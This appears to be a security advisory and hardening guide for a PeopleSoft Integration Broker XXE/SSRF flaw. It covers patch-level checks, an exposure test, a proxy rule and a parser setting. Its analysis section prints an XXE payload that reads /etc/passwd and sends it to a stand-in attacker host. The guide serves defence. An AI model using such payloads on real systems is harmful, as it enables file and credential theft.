PeopleSoft Integration Broker (IB) Security Hardening: Mitigating Unauthenticated RCE & XXE Flaws (July 2026 CPU)

Executive Summary: Integration Broker as a Primary Vector

racle PeopleSoft Integration Broker (IB) handles messaging, third-party system integrations, and web service requests across PeopleSoft HCM, FSCM, and Campus Solutions environments.

In the July 2026 Critical Patch Update (CPU), Oracle disclosed a critical CVSS 9.8 vulnerability impacting the Integration Broker Gateway connector (/PSIGW/PeopleSoftListeningConnector).

Because IB gateways are frequently exposed to external networks to support banking interfaces, benefits vendors, and mobile apps, unauthenticated attackers can transmit crafted XML payloads to trigger XML External Entity (XXE) parsing flaws and Server-Side Request Forgery (SSRF)—gaining unauthorized access to internal file systems and database credentials.

---

Technical Vulnerability Analysis

The Flaw: Unauthenticated XML Parsing in PSIGW

• Target Handler: com.peoplesoft.pt.integrationbroker.gateway.PeopleSoftListeningConnector
• Exploit Mechanism: The gateway connector parses incoming XML messages before validating authentication credentials. An attacker embeds external DTD references inside an unauthenticated HTTP POST request:

<!-- Example Exploitation Payload Concept -->
<!DOCTYPE test [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval SYSTEM "http://attacker-controlled-host.com/log?data=%file;">
  %eval;
]>
<FieldFormula>XXE Payload</FieldFormula>

When processed by unpatched PeopleTools runtimes, the gateway parses local OS files and transmits sensitive configuration data (including DB connect strings and web keys) back to the attacker’s server.

---

🔍 Diagnostic Checklist: Check Your IB Exposure Now

Execute these diagnostic checks on your PeopleSoft application gateway servers immediately:

Diagnostic 1: Check Current PeopleTools Patch Level

Log into PeopleSoft PIA as a System Administrator and navigate to: PeopleTools ➔ Utilities ➔ Administration ➔ PeopleTools Options

• PeopleTools 8.59: Must reflect 8.59.24 or higher.
• PeopleTools 8.60: Must reflect 8.60.14 or higher.
• PeopleTools 8.61: Must reflect 8.61.05 or higher.

Diagnostic 2: Check Public Web Server Exposure

Test whether your /PSIGW/ endpoints are accessible from external subnets without IP restrictions:

# Test external gateway access (Run from outside corporate network)
curl -I https://peoplesoft.yourinstitution.edu/PSIGW/PeopleSoftListeningConnector

• 🚨 Risk Criteria: If the endpoint returns HTTP/1.1 200 OK or 405 Method Not Allowed without an IP block or 403 Forbidden, your Integration Broker is publicly exposed to automated exploits.

---

Emergency IB Hardening Workflow (Zero-Downtime)

If applying the full PeopleTools patch set requires a scheduled outage window, implement these 3 immediate perimeter defenses:

1. Restrict /PSIGW/ Access in Nginx / Reverse Proxy

Update your reverse proxy configuration (Nginx, Caddy, or F5 BIG-IP) to restrict Integration Broker connectors strictly to authorized partner IP addresses:

# Nginx Rule: Block Public Access to PeopleSoft IB Gateways
location /PSIGW/ {
    allow 192.168.100.0/24; # Internal App Servers
    allow 10.50.4.15;        # Authorized Bank / Payroll Partner IP
    deny all;
}

2. Disable Inactive Gateway Connectors in PeopleTools

In PIA, navigate to: PeopleTools ➔ Integration Broker ➔ Configuration ➔ Gateways

• Open LOCAL Gateway.
• Click Gateway Connectors.
• Inactivate unused connectors (e.g., AS2Connector, FTPConnector, HttpTargetConnector if not in active production use).

3. Enforce Inbound XML DTD Processing Hardening in integrationGateway.properties

Edit your gateway configuration file $PS_HOME/webservices/peoplesoft/ig/WEB-INF/classes/integrationGateway.properties:

# Enforce Strict Security & Disable External DTD Entity Expansion
ig.xml.disableExternalDTD=true
ig.log.level=WARN

---

📚 Official Documentation & Technical References

• MOS Doc ID 2806740.1: Critical Patch Update (CPU) Patch Availability Document for Oracle PeopleSoft — Primary My Oracle Support document tracking PeopleTools patch sets (8.59, 8.60, 8.61).

• Oracle PeopleTools Integration Broker Administration Guide — Official documentation for configuring Integration Broker gateways, connectors, and security settings.

• Oracle Security Alerts & Critical Patch Updates — Official Oracle advisory portal for Critical Patch Update security bulletins and CVE severity ratings.

• OWASP XML External Entity (XXE) Prevention Cheat Sheet — Industry standard guide for hardening web application XML parsers against DTD injection attacks.

---

Need assistance auditing PeopleTools Integration Broker or securing enterprise PeopleSoft environments? Contact our ERP Security Specialists or review our Enterprise Infrastructure Audits.